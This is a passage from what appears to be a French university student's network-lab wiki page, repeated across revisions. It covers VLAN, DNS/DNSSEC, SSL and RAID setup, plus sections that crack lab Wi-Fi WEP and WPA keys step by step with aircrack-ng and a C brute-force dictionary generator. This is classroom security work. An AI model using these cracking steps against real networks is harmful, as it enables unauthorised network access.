fois ces étapes effectuées, nous pouvons passer à la configuration du DNS avec bind. On se place alors dans le dossier ''/etc/bind'' de notre machine virtuelle.<br /> <br /> Nous modifions dans un premier temps le fichier ''named.conf.local'' afin d'y créer nos zones :<br /> <br /> zone &quot;bielloumutherfucker.space&quot; {<br /> type master;<br /> FIle &quot;/etc/bind/zones/db.bielloumutherfucker.space&quot;;<br /> allow-transfer {217.70.177.40; };<br /> notify yes; <br /> };<br /> <br /> nous créons ensuite un dossier ''zones'' à l'intérieur duquel nous créons notre fichier de zone ''db.bielloumutherfucker.space'' :<br /> <br /> $TTL 604800<br /> @ IN SOA ns.bielloumutherfucker.space. root.bielloumutherfucker.space. (<br /> 2015102001 ; Serial<br /> 86400 ; Refresh<br /> 3600 ; Retry<br /> 2419200 ; Expire<br /> 86400 ) ; Negative Cache TTL<br /> <br /> @ IN NS ns.bielloumutherfucker.space.<br /> @ IN NS ns6.gandi.net.<br /> ns IN A 193.48.57.167<br /> www IN A 193.48.57.167<br /> @ IN A 193.48.57.167<br /> <br /> Il nous faut ensuite modifier notre fichier ''/etc/resolv.conf'' afin de passer par notre serveur :<br /> <br /> search bielloumutherfucker.space<br /> nameserver 193.48.57.167<br /> <br /> A partir de ce moment là, notre serveur DNS est opérationnel. Il nous faut maintenant le sécuriser grâce à DNSSEC.<br /> <br /> Dans un premier temps, il nous faut générer les clefs asymétriques KSK et ZSK. Nous entrons alors les commandes suivantes dans le terminal :<br /> <br /> dnssec-keygen -a RSASHA1 -f KSK -b 2048 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef KSK<br /> dnssec-keygen -a RSASHA1 --b 1024 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef ZSK<br /> <br /> Nous avons maintenant 4 clefs : deux pour chaque type de clef (KSK ou ZSK) avec deux extention différentes (.key pour la clef publique, .private pour la privée).<br /> <br /> Après les avoir placé dans le répertoire ''bielloumutherfucker.space.dnssec'' que nous avons crée, on les renomme selon le schéma suivant :<br /> <br /> bielloumutherfucker.space-ksk.key et bielloumutherfucker.space-ksk.private<br /> bielloumutherfucker.space-zsk.key et bielloumutherfucker.space-zsk.private<br /> <br /> Nous pouvons maintenant signer la zone à l'aide de la commande suivante (depuis le dossier /etc/bind) :<br /> <br /> dnssec-signzone -o bielloumutherfucker.space -k bielloumutherfucker.space-ksk <br /> zones/db.bielloumutherfucker.space bielloumutherfucker.space-zsk<br /> <br /> Une nouvelle zone, signée, a donc été créée dans notre dossier ''zones''. Il ne nous reste plus qu'à modifier le fichier ''named.conf.local'' en rajoutant un ''.signed'' à la fin du champ File pour notre zone. Nous redémarrons ensuite le serveur bind.<br /> <br /> service bind9 restart<br /> <br /> Nous retournons sur le site de gandi et dans la rubrique ''gérer DNSSEC'' nous ajoutons notre clef publique avec l'algorithme ''RSASHA1''. Une fois la clef ajoutée sur gandi, on peut voir que tous s'est bien passé en faisant un tour sur le site ''Zone Master'', l'attribut DNSSEC est en effet coché et vert.<br /> <br /> [[Fichier:dnssec.png]]<br /> <br /> ===Sécurisation du site via certificat SSL===<br /> <br /> Il faut dans un premier temps générer la clefs CSR que nous donnerons à Gandi.<br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# openssl req -nodes -newkey rsa:2048 -sha256 -keyout Ironman.key -out Ironman.csr<br /> Generating a 2048 bit RSA private key<br /> ..................................................................+++<br /> .........................................+++<br /> writing new private key to 'Ironman.key'<br /> -----<br /> You are about to be asked to enter information that will be incorporated<br /> into your certificate request.<br /> What you are about to enter is what is called a Distinguished Name or a DN.<br /> There are quite a few fields but you can leave some blank<br /> For some fields there will be a default value,<br /> If you enter '.', the field will be left blank.<br /> -----<br /> Country Name (2 letter code) [AU]:FR<br /> State or Province Name (full name) [Some-State]:Nord <br /> Locality Name (eg, city) []:Lille<br /> Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille<br /> Organizational Unit Name (eg, section) []:IMA<br /> Common Name (e.g. server FQDN or YOUR name) []:bielloumutherfucker.space<br /> Email Address []:<br /> Please enter the following 'extra' attributes<br /> to be sent with your certificate request<br /> A challenge password []:<br /> An optional company name []:<br /> <br /> A partir de ce moment là, ls clefs ont été générées : <br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# ls<br /> Ironman.csr Ironman.key<br /> <br /> <br /> Et nous pouvons donner la CSR à Gandhi afin d'activer la procédure d'activation.<br /> <br /> De façon à recevoir le mail sur admin@bielloumutherfucker.space, nous devons modifier le fichier /etc/aliases et y rajouter la ligne suivante:<br /> <br /> [...]<br /> admin: root<br /> <br /> Une fois le certificat validé, il faut déplacer les clefs dans les dossiers suivants :<br /> <br /> cp Ironman.key /etc/ssl/private/bielloumutherfucker.space.key<br /> cp certificate-380187.crt /etc/ssl/certs/bielloumutherfucker.space.crt<br /> cp GandiStandardSSLCA2.pem /etc/ssl/certs/GandiStandardSSLCA2.pem (clef intermédiaire)<br /> <br /> On effectue ensuite un rehash des certificats :<br /> <br /> c_rehash /etc/ssl/certs<br /> Doing /etc/ssl/certs<br /> bielloumutherfucker.space.crt =&gt; 6860aa7d.0<br /> bielloumutherfucker.space.crt =&gt; 5692355e.0<br /> ssl-cert-snakeoil.pem =&gt; a036afff.0<br /> ssl-cert-snakeoil.pem =&gt; 4390636f.0<br /> GandiStandardSSLCA2.pem =&gt; 8544bf03.0<br /> GandiStandardSSLCA2.pem =&gt; e279a80b.0<br /> <br /> On crée ensuite le fichier ''000-bielloumutherfucker.space-ssl.conf'' dans le dossier /etc/apache2/sites-available :<br /> <br /> #NameVirtualHost *:443<br /> &lt;VirtualHost 193.48.57.167:443&gt;<br /> ServerName www.bielloumutherfucker.space<br /> ServerAlias bielloumutherfucker.space<br /> DocumentRoot /var/www/html/<br /> CustomLog /var/log/apache2/secure_access.log combined<br /> <br /> SSLEngine on<br /> SSLCertificateFile /etc/ssl/certs/bielloumutherfucker.space.crt<br /> SSLCertificateKeyFile /etc/ssl/private/bielloumutherfucker.space.key<br /> SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br /> SSLVerifyClient None<br /> &lt;/VirtualHost&gt;<br /> &lt;Directory /var/www/html&gt;<br /> Require all granted<br /> &lt;/Directory&gt;<br /> ServerName &quot;bielloumutherfucker.space&quot;<br /> <br /> Puis on modifie le fichier /etc/apache/ports.conf afin qu'apache écoute sur le port 443 (ssl) :<br /> <br /> Listen 80 443<br /> &lt;IfModule ssl_module&gt;<br /> Listen 443<br /> &lt;/IfModule&gt;<br /> &lt;IfModule mod_gnutls.c&gt;<br /> Listen 443<br /> &lt;/IfModule&gt;<br /> <br /> On doit ensuite autoriser apache à utiliser son module ssl : <br /> <br /> a2enmod ssl<br /> <br /> Puis on autorise notre site à utiliser ssl :<br /> <br /> a2ensite 000-bielloumutherfucker.space-ssl.conf<br /> <br /> Ensuite :<br /> <br /> service apache2 restart<br /> service apache2 reload<br /> <br /> Maintenant, lorsqu'on se connecte sur notre site avec le préfixe &quot;https://&quot;, le site s'ouvre bien, et on aperçoit un cadenas vert certifiant que le site est sécurisé.<br /> <br /> [[Fichier:ssl.png]]<br /> <br /> ===Sécurisation des données===<br /> <br /> root@Ironman:~# mdadm --detail /dev/md0<br /> /dev/md0:<br /> Version : 1.2<br /> Creation Time : Thu Dec 8 16:52:21 2016<br /> Raid Level : raid5<br /> Array Size : 2095104 (2046.34 MiB 2145.39 MB)<br /> Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)<br /> Raid Devices : 3<br /> Total Devices : 3<br /> Persistence : Superblock is persistent<br /> Update Time : Thu Dec 8 16:52:21 2016<br /> State : clean <br /> Active Devices : 3<br /> Working Devices : 3<br /> Failed Devices : 0<br /> Spare Devices : 0<br /> Layout : left-symmetric<br /> Chunk Size : 512K<br /> Name : Ironman:0 (local to host Ironman)<br /> UUID : a82c02d3:4861fdcc:aa9f6f91:45e6f5d9<br /> Events : 0<br /> Number Major Minor RaidDevice State<br /> 0 202 48 0 active sync /dev/xvdd<br /> 1 202 64 1 active sync /dev/xvde<br /> 2 202 80 2 active sync /dev/xvdf<br /> <br /> <br /> fichier de test sur le raid 5 (iron-man.txt):<br /> <br /> root@Ironman:/datamd0# ls<br /> lost+found test_ironman.txt<br /> <br /> première partion removed :<br /> <br /> root@Ironman:~# mdadm --detail /dev/md0<br /> /dev/md0:<br /> Version : 1.2<br /> Creation Time : Thu Dec 8 16:52:21 2016<br /> Raid Level : raid5<br /> Array Size : 2095104 (2046.34 MiB 2145.39 MB)<br /> Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)<br /> Raid Devices : 3<br /> Total Devices : 2<br /> Persistence : Superblock is persistent<br /> Update Time : Thu Dec 8 17:05:13 2016<br /> State : clean, degraded <br /> Active Devices : 2<br /> Working Devices : 2<br /> Failed Devices : 0<br /> Spare Devices : 0<br /> Layout : left-symmetric<br /> Chunk Size : 512K<br /> Name : Ironman:0 (local to host Ironman)<br /> UUID : a82c02d3:4861fdcc:aa9f6f91:45e6f5d9<br /> Events : 6<br /> Number Major Minor RaidDevice State<br /> 0 0 0 0 removed<br /> 1 202 64 1 active sync /dev/xvde<br /> 2 202 80 2 active sync /dev/xvdf<br /> <br /> fichier toujours présent :<br /> <br /> root@Ironman:~# ls /datamd0/<br /> lost+found test_ironman.txt<br /> <br /> On enlève la partition xvdf :<br /> <br /> root@Ironman:~# mdadm --set-faulty /dev/md0 /dev/xvdf<br /> [ 196.176623] md/raid:md0: Disk failure on xvdf, disabling device.<br /> [ 196.176623] md/raid:md0: Operation continuing on 1 devices.<br /> mdadm: set /dev/xvdf faulty in /dev/md0<br /> root@Ironman:~# mdadm --remove /dev/md0 /dev/xvdf<br /> [ 229.573919] md: unbind&lt;xvdf&gt;<br /> [ 229.573933] md: export_rdev(xvdf)<br /> mdadm: hot removed /dev/xvdf from /dev/md0<br /> <br /> ===Crackage de clé WEP===<br /> <br /> Afin de cracker les clés WEP, nous avons d'abord recherché toutes les points d'accès Wifi disponible autour de nous et possédant une clé WEP.<br /> Pour cela, nous avons utilisé la commande : airodump-ng --encrypt wep wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 12 ][ Elapsed: 0 s ][ 2016-03-31 20:22 <br /> <br /> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:CF:01:94 -74 0 0 0 -1 -1 PolytechLille <br /> 04:DA:D2:9C:50:57 -62 1 6 2 2 54e. WEP WEP cracotte08 <br /> 04:DA:D2:9C:50:56 -67 2 0 0 2 54e. WEP WEP cracotte07 <br /> 04:DA:D2:9C:50:54 -66 1 5 2 2 54e. WEP WEP cracotte05 <br /> 04:DA:D2:9C:50:52 -63 1 80 38 2 54e. WEP WEP cracotte03 <br /> 04:DA:D2:9C:50:53 -61 0 24 11 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:55 -68 1 14 6 2 54e. WEP WEP cracotte06 <br /> 04:DA:D2:9C:50:50 -60 0 73 35 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:51 -63 1 52 25 2 54e. WEP WEP cracotte02 <br /> 44:AD:D9:5F:87:00 -42 3 1 0 3 54e. WEP WEP40 Wolverine <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:CF:01:94 00:0C:E7:91:C1:7D -56 1e- 1e 0 13 <br /> 04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -68 54e-11e 15 5 <br /> 04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -72 36e- 5e 0 7 <br /> 04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -60 54e-48e 79 81 <br /> 04:DA:D2:9C:50:53 00:0F:B5:92:22:68 -64 48e-54e 111 24 <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 -48e 128 13 <br /> 04:DA:D2:9C:50:50 00:0F:B5:92:23:75 -62 54e-54e 92 75 <br /> 04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -60 48e-48e 63 53 <br /> (not associated) 9C:2A:83:45:F0:2D -80 0 - 1 0 1 <br /> (not associated) 8A:1B:9C:B1:EC:8C -70 0 - 1 5 2 <br /> 44:AD:D9:5F:87:00 AC:5F:3E:59:90:D5 -40 0 - 1 0 2<br /> <br /> Nous avons choisit de cracker cracotte06. Nous avons créé un fichier de capture (.cap) ciblant cracotte06 grâce à la commande :<br /> airodump-ng -w cracotte06 -c 2 --bssid 04:DA:D2:9C:50:55 wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 2 ][ Elapsed: 8 s ][ 2016-03-31 20:30 <br /> <br /> BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:9C:50:55 -64 0 59 770 64 2 54e. WEP WEP cracotte06 <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -68 6e-54e 5108 718 <br /> <br /> Une fois le fichier de capture créé, nous avons exécuter la commande <br /> <br /> aircrack cracotte06-01.cap<br /> <br /> afin débuter le crackage de la clé WEP.<br /> <br /> On obtient le résultat suivant en quelques minutes :<br /> <br /> [00:01:53] Tested 279622 keys (got 31535 IVs)<br /> <br /> KB depth byte(vote)<br /> 0 0/ 1 EE(44544) A1(39936) 55(39168) BA(38400) E2(37632) <br /> 1 0/ 1 EE(47872) 79(37888) 0E(37120) C0(37120) 37(36864) <br /> 2 0/ 1 EE(43008) 83(40448) 2B(39680) B2(39680) 3F(38912) <br /> 3 0/ 1 EE(46592) 8E(38656) 30(37888) 0A(37120) 86(37120) <br /> 4 0/ 1 EE(46336) C2(39168) 5D(38912) 89(38400) 1B(38144) <br /> 5 0/ 1 EE(50176) CB(41472) C5(39936) 35(39168) 3C(38656) <br /> 6 0/ 1 EE(41216) 0C(39936) AB(37888) B1(37888) DE(37120) <br /> 7 0/ 2 EE(41472) 38(40960) D6(39168) 9F(38400) C4(37888) <br /> 8 0/ 1 EE(39936) 99(38656) 11(38400) FD(38400) E6(37632) <br /> 9 0/ 3 7C(38912) 05(38400) 4C(38400) C1(38144) 22(37888) <br /> 10 0/ 1 D1(38144) 42(37632) 99(37632) 9D(37632) 94(37376) <br /> 11 1/ 1 A0(38912) 2B(38656) 65(37888) E8(37888) A9(37632) <br /> 12 0/ 1 44(43740) 35(38548) A7(38252) 3A(37560) 88(37560) <br /> <br /> KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] <br /> Decrypted correctly: 100%<br /> <br /> La clé a été trouver et sa valeur est &quot;EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44&quot;<br /> <br /> ===Craquage de clé WPA===<br /> <br /> Le craquage d'une clé WPA est beaucoup plus long que celui d'une clé WEP car le crack doit effectuer un test sur tout les nombres à 8 chiffres jusqu'à arriver au mot de passe de la borne Wifi. C'est un crack en force brute.<br /> <br /> Nous avons donc tout d'abord génerer un fichier texte contenant tout les nombres à 8 chiffres (de 00000000 à 99999999) grâce au petit programme c suivant :<br /> <br /> #include &lt;stdio.h&gt;<br /> #include &lt;stdlib.h&gt;<br /> <br /> #define MAX_NUM 99999999<br /> <br /> int main(){<br /> long chiffre = 0;<br /> FILE* fp = NULL;<br /> fp = fopen(&quot;dictionnaire.txt&quot;,&quot;a+&quot;);<br /> if (fp != NULL){<br /> for (chiffre=0;chiffre&lt; MAX_NUM + 1;chiffre++)<br /> {<br /> fprintf(fp,&quot;%08li\n&quot;,chiffre);<br /> }<br /> fclose(fp);<br /> }<br /> return 0;<br /> }<br /> <br /> Une fois le dictionnaire généré, on effectue la même commande qu'avec le crackage WEP mais pour les clés WPA : <br /> <br /> 1. On bascule l'interface wifi en mode monitor :<br /> airmon-ng start wlan2<br /> <br /> 2. On fait un airodump-ng de tout les réseaux possédant un chiffrage WPA :<br /> airodump-ng --encrypt WPA wlan2<br /> <br /> On obtient le résultat suivant :<br /> <br /> 00:19:07:C5:0F:A4 -44 7 8 2 1 54e. WPA2 CCMP MGT PolytechLille <br /> 00:19:07:C5:0F:A2 -48 5 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A5 -48 6 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A3 -50 7 0 0 1 54e. WPA2 CCMP PSK PolytechGuests <br /> 00:19:07:C5:0F:A1 -50 7 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A7 -52 6 0 0 1 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 00:19:07:C5:0F:A6 -52 5 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A0 -54 6 2 0 1 54e. WPA2 CCMP MGT LILLE1 <br /> 00:19:07:C5:0F:A8 -55 5 5 0 1 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:9C:50:53 -62 5 0 0 13 54e. WPA2 CCMP PSK cracotte04 <br /> 04:DA:D2:9C:50:52 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte03 <br /> 04:DA:D2:9C:50:58 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte09 <br /> 04:DA:D2:9C:50:50 -66 5 0 0 13 54e. WPA2 CCMP PSK cracotte01 <br /> 04:DA:D2:9C:50:55 -65 6 0 0 13 54e. WPA2 CCMP PSK cracotte06 <br /> 04:DA:D2:9C:50:56 -65 3 0 0 13 54e. WPA2 CCMP PSK cracotte07 <br /> 04:DA:D2:9C:50:59 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte10 <br /> 04:DA:D2:9C:50:54 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte05 <br /> 04:DA:D2:9C:50:57 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte08 <br /> 04:DA:D2:9C:50:51 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte02 <br /> 04:DA:D2:CF:01:91 -69 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> C8:00:84:84:00:53 -70 3 0 0 9 54e. WPA2 CCMP PSK PolytechGuests <br /> C8:00:84:84:00:52 -71 4 0 0 9 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:98 -70 2 0 0 5 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:CF:01:90 -71 3 0 0 5 54e. WPA2 CCMP MGT LILLE1 <br /> 04:DA:D2:CF:01:95 -72 2 0 0 5 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:97 -72 2 0 0 5 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 04:DA:D2:CF:01:96 -72 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt;<br /> <br /> 3. Nous décidons de cracker cracotte09, on lance un airodump sur son essid et on effectue une capture <br /> <br /> airodump-ng -w cracotte09 --encrypt wpa -c 13 -essid cracotte09 wlan05<br /> <br /> 4. On lance le aircrack avec le fichier de capture et notre dictionnaire généré précédemment :<br /> <br /> aircrack-ng -w dictionnaire.txt cracotte09-01.cap<br /> <br /> 5. Au bout de 57:55 minutes, nous avons obtenu la clé suivante :<br /> <br /> passphrase : 12399909</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Cahier_2016_groupe_n%C2%B07&diff=35772 2016-12-08T14:40:21Z

<p>Rruet : /* Sécurisation des données */</p> <hr /> <div>==Cahier des charges==<br /> <br /> Mise en réseau des commutateurs 6006 en E304<br /> <br /> ==Avancement du travail==<br /> <br /> ===Configuration du 6006===<br /> <br /> -Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10 <br /> <br /> -Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11<br /> <br /> -Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.<br /> <br /> La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#vlan database<br /> 3 Switch-E304(vlan)#vlan x name nameX<br /> 4 Switch-E304(vlan)#exit<br /> <br /> La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface GigabitEthernet 4/x<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport access vlan x<br /> 6 Switch-E304(config-if)#no shutdown<br /> 7 Switch-E304(config-if)#end<br /> 8 Switch-E304#write memory (enregistrer la configuration)<br /> <br /> Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :<br /> <br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> <br /> ===Installation de xen===<br /> <br /> xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie <br /> --dir=/usr/local/xen --gateway=193.48.57.172<br /> <br /> ===Configuration d'une EtherChannel===<br /> <br /> Nous avons configuré une Etherchannel entre notre commutateur et notre routeur. Cela vise à remplacer la liaison trunk simple Gigabit qui les lie déjà, en une liaison 8gigabit. Nous remplacerons donc le port 4/48 par les ports 4/25 à 4/32.<br /> <br /> Voici la commande à rentrer dans l'interface de configuration du commutateur :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface range GigabitEthernet 4/25 - 32<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> 6 Switch-E304(config-if)#channel-protocol lacp<br /> 7 Switch-E304(config-if)#channel-group 1 mode passive<br /> 8 Switch-E304(config-if)#no shutdown<br /> 9 Switch-E304(config-if)#end<br /> 10 Switch-E304#write memory (enregistrer la configuration) <br /> <br /> Pareil dans l'interface de configuration du routeur, sauf que ce sera pour les ports 0/1 à 0/8, et que le channel-group sera en mode active.<br /> <br /> ===Serveur DNS et DNSSEC avec bind===<br /> <br /> La première étape consiste à modifier les informations de notre nom de domaine sur le site de Gandi.<br /> Il faut alors se diriger sur la rubrique :''Gérer les Glue records''.<br /> A partir de ce moment là, nous sommes libres de donner les informations suivantes à notre nom de domaine :<br /> <br /> '''nom du serveur''' : ns.bielloumutherfucker.space<br /> <br /> '''IP''' : 193.48.57.167<br /> <br /> On peut ensuite modifier les serveurs de nom, toujours sur le site de Gandi, dans la rubrique ''modifier les serveurs DNS'' :<br /> <br /> '''DNS1''' : ns.bielloumutherfucker.space<br /> <br /> '''DNS2''' : ns6.gandi.net (serveur secondaire de Gandi)<br /> <br /> Une fois ces étapes effectuées, nous pouvons passer à la configuration du DNS avec bind. On se place alors dans le dossier ''/etc/bind'' de notre machine virtuelle.<br /> <br /> Nous modifions dans un premier temps le fichier ''named.conf.local'' afin d'y créer nos zones :<br /> <br /> zone &quot;bielloumutherfucker.space&quot; {<br /> type master;<br /> FIle &quot;/etc/bind/zones/db.bielloumutherfucker.space&quot;;<br /> allow-transfer {217.70.177.40; };<br /> notify yes; <br /> };<br /> <br /> nous créons ensuite un dossier ''zones'' à l'intérieur duquel nous créons notre fichier de zone ''db.bielloumutherfucker.space'' :<br /> <br /> $TTL 604800<br /> @ IN SOA ns.bielloumutherfucker.space. root.bielloumutherfucker.space. (<br /> 2015102001 ; Serial<br /> 86400 ; Refresh<br /> 3600 ; Retry<br /> 2419200 ; Expire<br /> 86400 ) ; Negative Cache TTL<br /> <br /> @ IN NS ns.bielloumutherfucker.space.<br /> @ IN NS ns6.gandi.net.<br /> ns IN A 193.48.57.167<br /> www IN A 193.48.57.167<br /> @ IN A 193.48.57.167<br /> <br /> Il nous faut ensuite modifier notre fichier ''/etc/resolv.conf'' afin de passer par notre serveur :<br /> <br /> search bielloumutherfucker.space<br /> nameserver 193.48.57.167<br /> <br /> A partir de ce moment là, notre serveur DNS est opérationnel. Il nous faut maintenant le sécuriser grâce à DNSSEC.<br /> <br /> Dans un premier temps, il nous faut générer les clefs asymétriques KSK et ZSK. Nous entrons alors les commandes suivantes dans le terminal :<br /> <br /> dnssec-keygen -a RSASHA1 -f KSK -b 2048 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef KSK<br /> dnssec-keygen -a RSASHA1 --b 1024 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef ZSK<br /> <br /> Nous avons maintenant 4 clefs : deux pour chaque type de clef (KSK ou ZSK) avec deux extention différentes (.key pour la clef publique, .private pour la privée).<br /> <br /> Après les avoir placé dans le répertoire ''bielloumutherfucker.space.dnssec'' que nous avons crée, on les renomme selon le schéma suivant :<br /> <br /> bielloumutherfucker.space-ksk.key et bielloumutherfucker.space-ksk.private<br /> bielloumutherfucker.space-zsk.key et bielloumutherfucker.space-zsk.private<br /> <br /> Nous pouvons maintenant signer la zone à l'aide de la commande suivante (depuis le dossier /etc/bind) :<br /> <br /> dnssec-signzone -o bielloumutherfucker.space -k bielloumutherfucker.space-ksk <br /> zones/db.bielloumutherfucker.space bielloumutherfucker.space-zsk<br /> <br /> Une nouvelle zone, signée, a donc été créée dans notre dossier ''zones''. Il ne nous reste plus qu'à modifier le fichier ''named.conf.local'' en rajoutant un ''.signed'' à la fin du champ File pour notre zone. Nous redémarrons ensuite le serveur bind.<br /> <br /> service bind9 restart<br /> <br /> Nous retournons sur le site de gandi et dans la rubrique ''gérer DNSSEC'' nous ajoutons notre clef publique avec l'algorithme ''RSASHA1''. Une fois la clef ajoutée sur gandi, on peut voir que tous s'est bien passé en faisant un tour sur le site ''Zone Master'', l'attribut DNSSEC est en effet coché et vert.<br /> <br /> [[Fichier:dnssec.png]]<br /> <br /> ===Sécurisation du site via certificat SSL===<br /> <br /> Il faut dans un premier temps générer la clefs CSR que nous donnerons à Gandi.<br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# openssl req -nodes -newkey rsa:2048 -sha256 -keyout Ironman.key -out Ironman.csr<br /> Generating a 2048 bit RSA private key<br /> ..................................................................+++<br /> .........................................+++<br /> writing new private key to 'Ironman.key'<br /> -----<br /> You are about to be asked to enter information that will be incorporated<br /> into your certificate request.<br /> What you are about to enter is what is called a Distinguished Name or a DN.<br /> There are quite a few fields but you can leave some blank<br /> For some fields there will be a default value,<br /> If you enter '.', the field will be left blank.<br /> -----<br /> Country Name (2 letter code) [AU]:FR<br /> State or Province Name (full name) [Some-State]:Nord <br /> Locality Name (eg, city) []:Lille<br /> Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille<br /> Organizational Unit Name (eg, section) []:IMA<br /> Common Name (e.g. server FQDN or YOUR name) []:bielloumutherfucker.space<br /> Email Address []:<br /> Please enter the following 'extra' attributes<br /> to be sent with your certificate request<br /> A challenge password []:<br /> An optional company name []:<br /> <br /> A partir de ce moment là, ls clefs ont été générées : <br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# ls<br /> Ironman.csr Ironman.key<br /> <br /> <br /> Et nous pouvons donner la CSR à Gandhi afin d'activer la procédure d'activation.<br /> <br /> De façon à recevoir le mail sur admin@bielloumutherfucker.space, nous devons modifier le fichier /etc/aliases et y rajouter la ligne suivante:<br /> <br /> [...]<br /> admin: root<br /> <br /> Une fois le certificat validé, il faut déplacer les clefs dans les dossiers suivants :<br /> <br /> cp Ironman.key /etc/ssl/private/bielloumutherfucker.space.key<br /> cp certificate-380187.crt /etc/ssl/certs/bielloumutherfucker.space.crt<br /> cp GandiStandardSSLCA2.pem /etc/ssl/certs/GandiStandardSSLCA2.pem (clef intermédiaire)<br /> <br /> On effectue ensuite un rehash des certificats :<br /> <br /> c_rehash /etc/ssl/certs<br /> Doing /etc/ssl/certs<br /> bielloumutherfucker.space.crt =&gt; 6860aa7d.0<br /> bielloumutherfucker.space.crt =&gt; 5692355e.0<br /> ssl-cert-snakeoil.pem =&gt; a036afff.0<br /> ssl-cert-snakeoil.pem =&gt; 4390636f.0<br /> GandiStandardSSLCA2.pem =&gt; 8544bf03.0<br /> GandiStandardSSLCA2.pem =&gt; e279a80b.0<br /> <br /> On crée ensuite le fichier ''000-bielloumutherfucker.space-ssl.conf'' dans le dossier /etc/apache2/sites-available :<br /> <br /> #NameVirtualHost *:443<br /> &lt;VirtualHost 193.48.57.167:443&gt;<br /> ServerName www.bielloumutherfucker.space<br /> ServerAlias bielloumutherfucker.space<br /> DocumentRoot /var/www/html/<br /> CustomLog /var/log/apache2/secure_access.log combined<br /> <br /> SSLEngine on<br /> SSLCertificateFile /etc/ssl/certs/bielloumutherfucker.space.crt<br /> SSLCertificateKeyFile /etc/ssl/private/bielloumutherfucker.space.key<br /> SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br /> SSLVerifyClient None<br /> &lt;/VirtualHost&gt;<br /> &lt;Directory /var/www/html&gt;<br /> Require all granted<br /> &lt;/Directory&gt;<br /> ServerName &quot;bielloumutherfucker.space&quot;<br /> <br /> Puis on modifie le fichier /etc/apache/ports.conf afin qu'apache écoute sur le port 443 (ssl) :<br /> <br /> Listen 80 443<br /> &lt;IfModule ssl_module&gt;<br /> Listen 443<br /> &lt;/IfModule&gt;<br /> &lt;IfModule mod_gnutls.c&gt;<br /> Listen 443<br /> &lt;/IfModule&gt;<br /> <br /> On doit ensuite autoriser apache à utiliser son module ssl : <br /> <br /> a2enmod ssl<br /> <br /> Puis on autorise notre site à utiliser ssl :<br /> <br /> a2ensite 000-bielloumutherfucker.space-ssl.conf<br /> <br /> Ensuite :<br /> <br /> service apache2 